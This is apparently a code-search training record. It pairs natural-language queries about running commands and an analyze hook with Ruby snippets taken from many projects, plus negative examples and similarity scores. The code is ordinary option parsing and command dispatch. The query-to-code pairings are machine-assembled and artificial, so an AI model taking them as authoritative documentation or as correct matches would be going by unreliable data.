"def extract_option!\n case args[0]\n when /\\A-[^-]./\n bump_key!(args[0].slice!(1))\n when /\\A-[^-]\\z/\n try_add_kv!(args[0][1])\n when /\\A--(.+?)=(.+)/\n add_key!(*Regexp.last_match.values_at(1, 2))\n args.shift\n when /\\A--./\n try_add_kv!(args[0][2..-1])\n when '--'\n args.shift\n self.options += args\n self.args = []\n else\n options << args.shift\n end\n end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n @io.puts \"#{@nest}=== Command: <tt>#{([name] + aliases).join('|')} #{@arg_name_formatter.format(arg_name,arg_options,[])}</tt>\"\n @io.puts String(desc).strip\n @io.puts \n @io.puts String(long_desc).strip\n @nest = \"#{@nest}=\"\n end",
"def one_word_command\n switch = cmd.switch ? cmd.switch.downcase : nil\n switch == \"pass\" || switch == \"reload\" || switch == \"evade\"\n end",
"def subcommand() __subcommand__ end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def method_missing(m)\n\n case m\n when :createproj\n @args[:projectdir] = @options[m]\n @args[m] = true\n \n when :quickpkg\n # raise BoilerMakerErr.new(\"Option -Q: This option is unimplemented.\") \n @args[m] = @options[:quickpkg]\n \n when :projectdir\n unless @options[:createproj] or @options[:tconvert] or @options[:fetch] or @options[:package] or @options[:boil] or @options[:rollup]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -C, -t, -f or -p\") \n end\n @args[m] = File.expand_path(@options[m])\n unless @options[:createproj]\n raise BoilerMakerErr.new(\"No such file or dir: #{@args[m]}\") unless File.exists?(@args[m])\n end\n \n when :ktcheck\n if @options[:createproj] or @options[:projectdir] or @options[:tconvert] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -c, -h or -w\") \n end\n raise BoilerMakerErr.new(\"Option --#{m}: Use the -h to specify a Radmind server host\") unless @options[:radhost]\n @args[m] = @options[m]\n \n when :tconvert\n @args[m] = File.expand_path(@options[m])\n raise BoilerMakerErr.new(\"No such file or dir: #{@args[m]}\") unless File.exists?(@args[m])\n \n when :fetch\n raise BoilerMakerErr.new(\"Option --#{m}: Use the -h to specify a Radmind server host\") unless @options[:radhost]\n @args[m] = File.expand_path(@options[m])\n raise BoilerMakerErr.new(\"No such file or dir: #{@args[m]}\") unless File.exists?(@args[m])\n \n when :radhost\n unless @options[:ktcheck] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -K or -f\") \n end\n @args[m] = @options[m]\n\n when :boil\n @args[m] = @options[m]\n \n when :package\n @args[m] = @options[m]\n\n when :rollup\n @args[m] = @options[m]\n \n when :secure\n unless @options[:ktcheck] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -K or -f\")\n end\n @args[m] = @options[m]\n\n when :cksum\n unless @options[:ktcheck] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -K or -f\")\n end\n @args[m] = @options[m]\n \n end\n \n end",
"def is_option option\n Shell::Parser.is_option option, @argv\n end",
"def setup(opt, cmd)\n if not(arg.nil?) and type.nil?\n raise OptionError.new(cmd, \"Option type is undefined for the option \" + inspect)\n end\n\n # build OptionParser#on arguments\n args = [short_for_optparse, long_for_optparse, desc].compact\n\n # call #on with the argument\n opt.on(*args) {|val| specify(cmd, val)}\n end",
"def help command\n puts \"\nThe command you entered, #{command}, is not supported.\nValid commands: \"\n @command_map.each_key{|key| puts \"\\t#{key}\\n\"}\n end",
"def initialize(cmd_str,opt = nil)\n raise(CmdException,\"Command string is nil\") if cmd_str.nil?\n @cmd_str = cmd_str\n # parse option\n @opt = @@def_opt.clone\n @@def_opt.each_key do |key|\n if opt != nil && opt[key] != nil\n # use argument\n @opt[key] = opt[key]\n elsif RBatch.common_config != nil \\\n && RBatch.common_config[\"cmd_\" + key.to_s] != nil\n # use config\n @opt[key] = RBatch.common_config[\"cmd_\" + key.to_s]\n else\n # use default\n end\n end\n end",
"def handle_options\n opts = OptionParser.new do |opts|\n opts.on('-c', '--force-roku-command') { options.force_command = true }\n end.parse!\n end",
"def execute_option_or_command(options, command, args)\n options[:execute] ? eval_execute_option(options[:execute]) :\n execute_command(command, args)\n end",
"def command(command_text)\n @command_text = command_text\n end",
"def valid_command?(val)\n system_command?(val) || pry_command?(val)\n end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def command(command, paths)\n # default is list\n return list([]) if command.nil?\n # choose other command\n case command\n when 'create' then create paths\n when 'list' then list paths\n when 'finish' then finish paths\n when 'unfinish' then unfinish paths\n when 'cleanup' then cleanup paths\n when 'help' then help\n else unknown_command(command)\n end\n end",
"def call_option(input)\n if (/^[0-#{@@main_ops.length - 1}]$/.match(input))\n print \"\\e[H\\e[2J\"\n puts @@headings[input.to_i]\n case input\n when '0'\n add_contact\n pause\n when '1'\n modify_contact\n pause\n when '2'\n display_all_contacts\n pause\n when '3'\n display_one_contact\n pause\n when '4'\n display_attribute_across\n pause\n when '5'\n delete_contact\n pause\n end \n else \n puts \"Error: option #{input} not recognized.\"\n end\n end"
] |
[
"0.7271766",
"0.71792614",
"0.7144048",
"0.7092695",
"0.7064922",
"0.7041221",
"0.7025596",
"0.7024947",
"0.6922264",
"0.6918408",
"0.69139236",
"0.6825444",
"0.6771537",
"0.6750897",
"0.66939247",
"0.66923183",
"0.6692272",
"0.6679929",
"0.6652789",
"0.6635822",
"0.66274226",
"0.6581417",
"0.6575096",
"0.6488009",
"0.6463066",
"0.6448509",
"0.64312786",
"0.64310586",
"0.64207244",
"0.6418983",
"0.63912284",
"0.6375221",
"0.6375221",
"0.6375221",
"0.6374005",
"0.6368624",
"0.63192457",
"0.63117045",
"0.6307521",
"0.62978595",
"0.6283087",
"0.6276093",
"0.6272369",
"0.6272369",
"0.6272369",
"0.6272369",
"0.6272369",
"0.6272369",
"0.62714493",
"0.62655216",
"0.6264313",
"0.6264313",
"0.6264313",
"0.6264313",
"0.6264313",
"0.6264313",
"0.6253385",
"0.6246231",
"0.62422585",
"0.62364024",
"0.62240225",
"0.6217832",
"0.62105125",
"0.62025017",
"0.61943173",
"0.619199",
"0.61807054",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6180527",
"0.6161448",
"0.61330473",
"0.61253726",
"0.6119852",
"0.6115655",
"0.61145586",
"0.60932755",
"0.60923165",
"0.60887647",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60807246",
"0.60801244",
"0.6069097"
] |
0.8038478
|
0
|
Runs a command given its object and arguments
|
def analyze(obj, command, args, &block)
@global_options, @command, @original_args = {}, command, args.dup
@args = translate_args(obj, args)
return run_help_option(@command) if @global_options[:help]
during_analyze(&block)
rescue OptionParser::Error, Error
raise if Boson.in_shell
warn "Error: #{$!}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run(command, *args)\n send(command, *args)\n end",
"def run( args )\n args = args.dup\n\n parse args\n init args\n self.__send__(*@command)\n end",
"def cmd(*args) self.class.cmd(*args) end",
"def execute(command_args)\n command_args = split_command(command_args)\n command = command_args[0].to_s\n parameter = command_args[1].to_s\n\n # Find the command to execute\n command_to_execute = search_for_command command.downcase\n\n # If the command is not found, show the help\n if command_to_execute == nil\n help command\n else\n # Create a pointer to the command's RUN method, and call it\n method = command_to_execute.method(\"run\")\n method.call(parameter)\n end\n end",
"def run_command(action, object, params = {})\n Response.new Command.new(action, object, params).run(@host, @key, @username, @port)\n end",
"def command(command, *args)\n @shell.command(command, *args)\n end",
"def exec _obj, _args\n \"_obj exec _args;\" \n end",
"def cmd(command, *arguments) Command.send(command.to_sym, *arguments) end",
"def execute_command(*args)\n if args.size < 2\n display_help\n exit(1)\n end\n \n command_class = Command.commands[args.first]\n \n if command_class\n command_class.command(self,*(args[2..-1]))\n else\n display_help\n exit(1)\n end\n end",
"def run_command(arguments)\n raise \"Specified command did not implement 'run_command' method.\"\n end",
"def call(*command); end",
"def camCommand _obj, _args\n \"_obj camCommand _args;\" \n end",
"def run(cmd, *args)\n dispatch(cmd, *args)\n end",
"def run(command, *arguments)\n expanded_command = build_cli_call(command, arguments)\n status, out, err = run_command(expanded_command)\n Result.new(expanded_command, status, out, err)\n end",
"def run\n _cmd = built_in_command( options[:args] )\n _cmd ||= options[:command] ? CommandRunner.new(options[:command]) : 0\n if _cmd.class == CommandRunner\n _cmd.run do |item|\n puts \"%s:\\n %s\\n\\n\" % [ item.class, item.desc ] if item.is_a?(UseCase) && ENV['ENVIRONMENT'] != 'test'\n end\n else\n _cmd\n end\n end",
"def run(arguments)\n config = Configuration.load_applicable\n run_command(config, arguments)\n\n ExitCodes::OK\n rescue => ex\n ErrorHandler.new(@ui).handle(ex)\n end",
"def run_command(*args)\n %x(#{args.join(\" \")})\n rescue IOError, SystemCallError\n nil\n end",
"def command_exec(name, *args)\n shell_exec command_for(name, *args)\n end",
"def run(host, command, options = {})\n execute(__method__, host, command, options)\n end",
"def commandTarget _obj, _args\n \"_obj commandTarget _args;\" \n end",
"def execute(command, argument)\n command = canonical_command(command)\n method = \"cmd_#{command}\"\n @commands[command.downcase].send(method, argument)\n end",
"def execute\n parse_command\n run_command(command)\n end",
"def run arg, options = {}, &block\n if arg.class == Symbol\n self.__commands << options.merge({:command => self.send(arg), :type => :remote, :from => self.__name, :block => block})\n else\n self.__commands << options.merge({:command => arg, :type => :remote, :from => self.__name, :block => block})\n end\n end",
"def run\n raise \"`#{ real_command }' failed\" unless Kernel.system( real_command )\n end",
"def commandFollow _obj, _args\n \"_obj commandFollow _args;\" \n end",
"def exec\n binding.pry\n # command.run(*service.exec(args.command))\n end",
"def run(args)\n opts.parse!(args)\n\n command = args.shift\n if command.nil?\n puts opts\n else\n meth = command.gsub(\"-\", \"_\").to_sym\n if respond_to?(meth)\n send(meth)\n else\n puts %(`#{command}` is not a #{opts.program_name} command. See `#{opts.program_name} --help` for a list of available commands.)\n end\n end\n end",
"def exec(cmd, *rest) end",
"def invoke_command( command, *args_and_options )\n\t\tself.log.debug \"Invoking %p with args and options: %p\" % [ command, args_and_options ]\n\t\t# :TODO: Do option-parsing\n\t\toptions, *args = command.parse_options( args_and_options )\n\t\tcommand.run( options, *args )\n\tend",
"def perform(command, *args)\n\n #\n # use the given command's attributes to perform the action\n #\n\n raise NotImplementedError\n end",
"def run(command, *args)\n sh \"#{command} #{args.join(' ')}\"\nend",
"def exec!(cmd, *args)\n cmd = Command.new(cmd, args)\n cmd.exec!\n end",
"def run(arguments)\n run_command(arguments)\n\n ExitCodes::OK\n rescue => ex\n ErrorHandler.new(@ui).handle(ex)\n end",
"def call(object, options = {})\n runner(object, options).call\n end",
"def execute_command_from_command_line\n cmd = ARGV[0]\n if not cmd\n puts CMD_LINE_HELP\n elsif OPERATION_NAMES.include?(cmd) && !options.force_command\n begin\n self.send(*ARGV)\n rescue ArgumentError => ex\n $stderr.puts \"Wrong number of arguments (#{ARGV.size-1}) for operation: #{cmd}\"\n end\n else\n send_roku_command cmd\n end\n end",
"def run( args )\n cmd_str = args.shift\n cmd = case cmd_str\n when 'create'; CreateCommand.new(@out, @err)\n when 'freeze'; FreezeCommand.new(@out, @err)\n when 'unfreeze'; UnfreezeCommand.new(@out, @err)\n when 'info'; InfoCommand.new(@out, @err)\n when nil, '-h', '--help'\n help\n when '-v', '--version'\n @out.puts \"Docbones #{::Docbones::VERSION}\"\n nil\n else\n raise \"Unknown command #{cmd_str.inspect}\"\n end\n\n cmd.run args if cmd\n\n rescue StandardError => err\n @err.puts \"ERROR: While executing docbones ... (#{err.class})\"\n @err.puts \" #{err.to_s}\"\n exit 1\n end",
"def run_command(cmd, args)\n valid_commands = {\n 'I' => [ :integer, :integer ], # I X Y\n 'C' => [], # C\n 'L' => [ :integer, :integer, :character ], # L X Y C\n 'V' => [ :integer, :integer, :integer, :character ], # V X Y1 Y2 C\n 'H' => [ :integer, :integer, :integer, :character ], # H X1 X2 Y C\n 'F' => [ :integer, :integer, :character ], # F X Y C\n 'S' => [], # S\n 'X' => [], # X\n\n 'U' => [], # U\n }\n\n raise \"Invalid command\" unless valid_commands.has_key?(cmd)\n\n valid_params = validate_params(valid_commands[cmd], args)\n\n # Most methods require us to have created a bitmap\n validate_bitmap() if %w( C L V H F S ).include?(cmd)\n\n create_snapshot()\n\n method = \"cmd_#{cmd}\".to_sym\n # p method, valid_params\n self.send(method, *valid_params)\n\n save_snapshot()\n end",
"def run_command(socket, *args)\n args = args.dup\n command = args.shift\n \n case command\n when :generate\n generate(socket, args[0])\n when :help\n help(socket, args[0])\n when :shutdown\n exit 1\n end\n end",
"def sendSimpleCommand _obj, _args\n \"_obj sendSimpleCommand _args;\" \n end",
"def run_command_on(cmd, instance=nil) \n Kernel.system \"#{run_command_on_command(cmd, instance)}\" if instance\n end",
"def run_command(command)\n args = command [1..-1]\n case command[0]\n when 'q', 'quit' then @running = false\n when 'help', '?' then puts HELP\n when 'create' then create_object(args)\n when 'add-station' then add_station(args)\n when 'remove-station' then remove_station(args)\n when 'add-wagon' then add_wagon(args)\n when 'remove-wagon' then remove_wagon(args)\n when 'stations' then stations\n when 'assign' then assign(args)\n when 'trains' then trains(args)\n when 'move' then move(args)\n when 'require' then occupy(args)\n when 'take-seat' then take_seat(args)\n when 'wagons' then wagons(args)\n when 'producer' then producer(args)\n else\n raise TUIException, \"There is no command '#{command[0]}'\"\n end\n end",
"def command_run(str_opts)\n command :run do |c|\n c.syntax = 'budik run [options]'\n c.summary = @str_run.summary\n c.description = @str_run.description\n command_run_options(c, str_opts)\n c.action { |_args, opts| Command.new(:run, opts) }\n end\n end",
"def run_command( cmd, args )\n begin\n load_plugins if ((cmd.requires_plugins?) && ! @plugins_loaded)\n # TODO: any additional, optional services (e.g GitDS) should be loaded\n cmd.invoke(args) ? 0 : 1\n rescue Bgo::Application::CommandError => e\n # Error raised by the command itself (usually bad arguments)\n puts e.message\n -2\n end\n end",
"def execute_command command_text\r\n #TODO: really, what is point of this \"convenience\" method!?\r\n create_command( command_text ).execute\r\n end",
"def method_missing(command, *args)\n execute(command.to_s, *args)\n end",
"def method_missing(command, *args)\n execute(command.to_s, *args)\n end",
"def run(*args)\n cli.run(*args)\n end",
"def run( command, *args )\n\t\tcommand ||= 'help'\n\t\tcmd_method = nil\n\n\t\tbegin\n\t\t\tcmd_method = self.method( \"#{command}_command\" )\n\t\trescue NoMethodError => err\n\t\t\terror \"No such command\"\n\t\t\texit :usage\n\t\tend\n\n\t\tcmd_method.call( *args )\n\tend",
"def invoke_command(cmd, options={}, &block)\n options = options.dup\n via = options.delete(:via) || :run\n send(via, cmd, options, &block)\n end",
"def execute_command(target, command, options, *args)\n context = CommandContext.new\n\n # set some useful methods to be used by the action blocks\n context.opts = options\n context.target = target\n context.target_self = target.eval('self')\n context.output = output\n context.captures = options[:captures]\n context.eval_string = options[:eval_string]\n context.arg_string = options[:arg_string]\n context.command_set = commands\n context._pry_ = @pry_instance\n\n context.command_processor = self\n\n ret = commands.run_command(context, command, *args)\n\n options[:val].replace(\"\")\n\n ret\n end",
"def run(cmd)\n runner.run(cmd, shell, nil)\n end",
"def execute_command(command_arguments)\n self.class.from_arguments(config, ui, command_arguments).execute\n end",
"def exec(cmd, args, opts)\n # lazy-load dependencies to make the plugin as fast as possible\n require 'bolt/target'\n require 'logging'\n\n # opts can contain 'tty', 'stdin', and 'elevate'. If tty is set, apply it\n # to the target for this exec.\n target_opts = @target.transform_keys(&:to_s)\n target_opts['tty'] = true if opts[:tty]\n target = Bolt::Target.new(@target[:uri], target_opts)\n\n logger = Logging.logger($stderr)\n logger.level = :warn\n\n transport = target.transport || 'ssh'\n case transport\n when 'ssh'\n require_relative 'transport_ssh.rb'\n connection = BoltSSH.new(target, logger)\n when 'winrm'\n require_relative 'transport_winrm.rb'\n connection = BoltWinRM.new(target, logger)\n when 'docker'\n require_relative 'transport_docker.rb'\n connection = BoltDocker.new(target)\n else\n raise \"#{transport} unsupported\"\n end\n\n begin\n connection.connect\n # Returns exit code\n connection.execute(cmd, args, stdin: opts[:stdin])\n ensure\n begin\n connection&.disconnect\n rescue StandardError => e\n logger.info(\"Failed to close connection to #{target}: #{e}\")\n end\n end\n end",
"def commandChat _obj, _args\n \"_obj commandChat _args;\" \n end",
"def run_command(broker, targets, command, **kwargs, &block)\n params = { command: command }\n do_module_action(broker, agent_identities(targets), 'command', 'run', params, **kwargs, &block)\nend",
"def execute(command)\n end",
"def run(command_string, *args)\n complete_string = \"#{command_string} #{args.join(\" \")}\".rstrip\n command_set.process_line(complete_string, context)\n end",
"def run_app(command, arguments)\nend",
"def run_cmd(command, arguments = [], &block)\n shell_id = open_shell\n command_id = run_command(shell_id, command, arguments)\n command_output = get_command_output(shell_id, command_id, &block)\n cleanup_command(shell_id, command_id)\n close_shell(shell_id)\n command_output\n end",
"def execute(command)\n invoke_command(command, nil)\n end",
"def run!\n if self.class.commands.include?(@command)\n run_command\n elsif @command.nil?\n puts \"Command required\"\n puts @parser\n exit 1\n else\n abort \"Unknown command: #{@command}. Use one of #{self.class.commands.join(', ')}\"\n end\n end",
"def call command_str, options={}, &block\n Sunshine.logger.info @host, \"Running: #{command_str}\" do\n execute build_remote_cmd(command_str, options), &block\n end\n end",
"def cmd_run argv\n setup argv\n uuid = @hash['uuid']\n if @hash['boolean'].nil?\n rename = \"\"\n else\n rename = @hash['boolean']\n end\n response = @api.run(uuid, rename)\n msg response\n return response\n end",
"def call_command\n verb = match.captures[match.names.index('command')]\n verb = normalize_command_string(verb)\n public_send(verb)\n end",
"def execute(command, opts=nil)\n end",
"def process_command\n # Make sure we are running from the correct directory\n puts \"Running from .. \" + Dir.pwd if $DEBUG\n\n # determing which action and forward accordingly\n method = \"cmd_\" + @arguments.shift\n if !respond_to? method\n puts \"do not have `#{method}' in my reportoire ..\"\n output_usage\n end\n send(method, *@arguments)\n rescue ArgumentError\n output_usage\n end",
"def execute_command(command)\n end",
"def execute_command(command)\n end",
"def run_command(cmd, options={})\n FudgeMatchers::Run.new cmd, options\nend",
"def script(subcommand, *args); end",
"def script(subcommand, *args); end",
"def call_internal(command,args)\n return @commands[command].clone.run(args)\n end",
"def execute(opt, argv)\n fail \"#{self.class.command} not implemented\"\n end",
"def run_command(name, *args)\n if handler = Brief.commands.fetch(name.to_sym)\n block = handler[:handler]\n args.unshift(self)\n block.call(*args)\n else\n raise 'Command not found'\n end\n end",
"def exec(command, *args, as:)\n #opts = []\n #opts << [:pod, name]\n #opts << [:cmd_opts_end, true]\n #opts << [:exec_command, command]\n #args.each {|a| opts << [:exec_command_arg, a]}\n #\n #env.cli_executor.exec(as, :exec, opts)\n\n cli_exec(as: as, key: :exec, pod: name, n: project.name,\n oc_opts_end: true,\n exec_command: command,\n exec_command_arg: args)\n end",
"def execute(command)\n @command = command\n self\n end",
"def command(args = {}, escape = true)\n SSH.command compile(args), escape\n end",
"def commandFire _obj, _args\n \"_obj commandFire _args;\" \n end",
"def run(args)\n sub_args = parse_command_line(args)\n return if @help_requested\n\n cmd = sub_args.shift\n if @sub_commands.key?(cmd)\n sub_cmd = @sub_commands[cmd].new\n sub_cmd.run(sub_args)\n else\n help\n\n if cmd || !args.empty?\n fail(\n Simp::Cli::ProcessingError,\n \"ERROR: Did not recognize sub-command '#{cmd} #{args.join(' ')}'\"\n )\n end\n\n fail(Simp::Cli::ProcessingError, 'ERROR: Did not provide sub-command')\n end\n end",
"def method_missing(command_name, *args)\n command command_name, *args\n end",
"def command(*args, &b)\r\n\t$gamemode.command(*args, &b)\r\nend",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def exec(_cmd, _args = {})\n false\n end",
"def run_command(command ,*args)\n args.collect! do |arg|\n # args can contain characters like '>' so we must escape them, but don't quote switches\n if arg !~ /^[\\-]/\n \"\\\"#{arg}\\\"\"\n else\n arg.to_s\n end\n end\n command = \"#{command} #{args.join(\" \")}\"\n output = `#{command} 2>&1`\n\n if $?.exitstatus != 0\n raise FlashToolError, \"SWF command (#{command.inspect}) failed: #{{:status_code => $?, :output => output}.inspect}\"\n else\n output\n end\n end",
"def run_cmd(cmd)\n\tend",
"def run_command(command, *args)\n `#{command} #{args.join(' ')} 2>/dev/null`\n end",
"def invoke_cmd(name, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n invoke(name, args, options)\n end",
"def run_command(command)\n `#{command}`\nend",
"def cmd(options={})\n arguments\n end",
"def call(command_name, *args)\n args.extend ArgumentVector\n current_command = @current_command\n current_param = @current_param\n\n @current_command = @commands[command_name]\n args.params!(@current_command.params).each do |param|\n @current_param = param\n param.send :active!\n @current_param = nil\n end\n @current_command.send :run\n @current_command = current_command\n @current_param = current_param\n end",
"def run(input, options = {})\n command = Command.new(options: options)\n yield(command) if block_given?\n command.run(input)\n end",
"def command(command, *args, &block)\n @output.print(command, args.size > 0 ? ' ' : '', args.join(' '), \"\\r\\n\")\n if block\n if @pipeline\n @pipeline << block\n else\n block.call\n end\n end\n end",
"def execute(*args)\n arguments = parse args\n command = arguments.command\n\n return help if(command and [45, \"-\"].include?(command[0]))\n\n mapping = { \"-v\" => \"version\",\n \"--version\" => \"version\",\n \"version\" => \"version\",\n \"echo\" => \"echo\",\n \"open\" => \"open\" ,\n \"w\" => \"echo\",\n \"o\" => \"open\",\n \"rand\" => \"random\",\n \"r\" => \"random\",\n \"all\" => \"all\",\n \"edit\" => \"edit\",\n \"storage\" => \"storage\",\n \"help\" => \"help\",\n \"switch\" => \"switch\"}\n\n mapped = mapping[command]\n\n return self.send(mapped, arguments) if mapped\n\n return overview unless command\n\n major, minor = arguments.major, arguments.minor\n\n if(minor == 'delete') and storage.item_exists?(major)\n return delete_item(command, major)\n end\n\n\n if list = List.find(command)\n return handle_list list, major, minor\n end\n\n if item = Item.find(command)\n return say_clipboard item\n end\n\n create_list command, major, minor\n end",
"def run_cmd(input); end",
"def call(*args)\n if args.first.is_a?(Array) && args.size == 1\n command = args.first\n else\n command = args\n end\n\n @commands << command\n nil\n end",
"def command *args, &block\n @commands ||= []\n @args ||= []\n @commands << block\n @args << args\n end",
"def execute(command_string)\n Runner.instance.cross_call command_string\n end",
"def execute(bin, arguments, options)\n resolve_bin!(bin)\n\n cmd_args = [bin, *arguments].map(&:to_s)\n\n if @image_optim.verbose\n run_command_verbose(cmd_args, options)\n else\n run_command(cmd_args, options)\n end\n end",
"def run_command!(name, *args)\n run_command(name, *args) rescue nil\n end",
"def run( *cmd )\n\t\t\tcmd.flatten!\n\n\t\t\tif cmd.length > 1\n\t\t\t\ttrace( \"Running:\", quotelist(*cmd) )\n\t\t\telse\n\t\t\t\ttrace( \"Running:\", cmd )\n\t\t\tend\n\n\t\t\tif Rake.application.options.dryrun\n\t\t\t\tlog \"(dry run mode)\"\n\t\t\telse\n\t\t\t\tsystem( *cmd )\n\t\t\t\tunless $?.success?\n\t\t\t\t\tfail \"Command failed: [%s]\" % [cmd.join(' ')]\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def run(command, log_action = true)\r\n log 'executing', \"#{command} from #{Dir.pwd}\" if log_action\r\n `#{command}`\r\n end"
] |
[
"0.75068367",
"0.72298723",
"0.72270304",
"0.7074162",
"0.7067062",
"0.7045217",
"0.7037785",
"0.7017059",
"0.69880724",
"0.6975897",
"0.6846388",
"0.68084484",
"0.68076754",
"0.68017644",
"0.67384285",
"0.67370963",
"0.6680271",
"0.66713476",
"0.6655561",
"0.66397613",
"0.6639282",
"0.66330624",
"0.6619201",
"0.66009045",
"0.65864587",
"0.65793884",
"0.65741116",
"0.65595454",
"0.654957",
"0.6548593",
"0.654729",
"0.65469867",
"0.6527726",
"0.65158165",
"0.65147686",
"0.651243",
"0.650676",
"0.64945817",
"0.64710486",
"0.64654815",
"0.64640033",
"0.64593697",
"0.6456268",
"0.6445912",
"0.64317626",
"0.64317626",
"0.6423673",
"0.6409096",
"0.6401556",
"0.6396351",
"0.639345",
"0.6388186",
"0.6383194",
"0.63770103",
"0.6368905",
"0.63632977",
"0.6362442",
"0.6357429",
"0.6355428",
"0.63373864",
"0.6330354",
"0.63248074",
"0.6313199",
"0.62990236",
"0.6281458",
"0.62783325",
"0.62716657",
"0.62716657",
"0.62685996",
"0.6266775",
"0.6266775",
"0.62647986",
"0.6263897",
"0.6263706",
"0.6257142",
"0.6255488",
"0.62536776",
"0.624972",
"0.62252825",
"0.6218084",
"0.62128377",
"0.6209135",
"0.6208837",
"0.6207601",
"0.620375",
"0.61999625",
"0.6197966",
"0.6191537",
"0.61912906",
"0.61847925",
"0.6172897",
"0.61676264",
"0.6150319",
"0.61493164",
"0.614794",
"0.6146279",
"0.61450607",
"0.61347073",
"0.61337143",
"0.61330616",
"0.6132888"
] |
0.0
|
-1
|
Overridable method called during analyze
|
def during_analyze(&block)
process_result call_original_command(@args, &block)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def auto_analyze; end",
"def auto_analyze=(_arg0); end",
"def analyze\n analysis = self.class.analysis\n raise unless analysis\n\n analysis.call(@params)\n end",
"def diagnostics; end",
"def diagnostics; end",
"def diagnostics; end",
"def diagnostics; end",
"def analyze\n format_results\n end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def private; end",
"def statistics; end",
"def post_analyze!\n contents = File.open(self.name, 'r').readlines\n exelines = 0\n contents.each_with_index do |line, num|\n sline = line.strip\n \n case sline\n when '', /^#/\n lines << num + 1\n when /^\\s*(?:end|\\})\\s*(?:#.*)?$/, /^(public|private|protected)/,\n /^(?:begin\\s*(?:#.*)?|ensure\\s*(?:#.*)?|else\\s*(?:#.*)?)$/,\n /^(?:rescue)/, /^case\\s*(?:#.*)?$/, /^(\\)|\\]|\\})(?:#.*)?$/\n lines << num + 1\n exelines += 1\n else\n exelines += 1\n end\n \n end\n \n @coverage_percent = (exelines.to_f / contents.size) * 100.0\n end",
"def report\n raise \"Calling Abstract method report on class Heuristic.\"\n end",
"def identify; end",
"def processor; end",
"def analyze(submission)\n raise \"Subclass #{self.class.name} did not override #check(submission).\"\n end",
"def analyze\n analyze_text\n @analyzed = true\n nil\n end",
"def processed_source=(_); end",
"def processed_source=(_); end",
"def completed_text_extraction\n end",
"def summary; end",
"def summary; end",
"def summary; end",
"def summary; end",
"def process\n raise Error::new(\"This method should be implemented by a subclass\")\n end",
"def stats; end",
"def stats; end",
"def post_process; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def analyse\n call_data_service\n end",
"def analyze_component_breakdown\n\n end",
"def custom; end",
"def custom; end",
"def measure; end",
"def implementation; end",
"def implementation; end",
"def overrides; end",
"def diagnostic; end",
"def probers; end",
"def visit(_bytecode)\n raise NotImplementedError, 'subclass responsibility'\n end",
"def heuristics\n raise NotImplementedError, \"not implemented in #{self}\"\n end",
"def process(result)\n # :nocov:\n raise NotImplementedError\n # :nocov:\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def internal; end",
"def begin_investigation(processed_source); end",
"def analyze\n explain(:analyze=>true)\n end",
"def diagnostics=(_arg0); end",
"def diagnostics=(_arg0); end",
"def diagnostics=(_arg0); end",
"def tracing()\n #This is a stub, used for indexing\n end",
"def all_pva_statistics\n super\n end",
"def calculated; end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def instrumenter; end",
"def hit; end",
"def ignores; end",
"def call\n raise NotImplementedError, \"AbstractCommitAnalyser subclass needs to implement #call\"\n end",
"def iiop_statistics\n super\n end",
"def run; raise NotImplementedError; end",
"def run; raise NotImplementedError; end",
"def scanner()\n raise NotImplementedError\n end",
"def process\n raise \"Must be implemented\"\n end",
"def parse()\n #This is a stub, used for indexing\n end",
"def parsed; end",
"def parsed; end"
] |
[
"0.7510012",
"0.70198274",
"0.65513736",
"0.6463264",
"0.6463264",
"0.6463264",
"0.6463264",
"0.6463193",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6443608",
"0.6235614",
"0.6234241",
"0.62150747",
"0.61656463",
"0.61134344",
"0.6096442",
"0.605885",
"0.60579747",
"0.60444367",
"0.60444367",
"0.6008912",
"0.5988917",
"0.5988917",
"0.5988917",
"0.5988917",
"0.5984918",
"0.59804845",
"0.59804845",
"0.59726864",
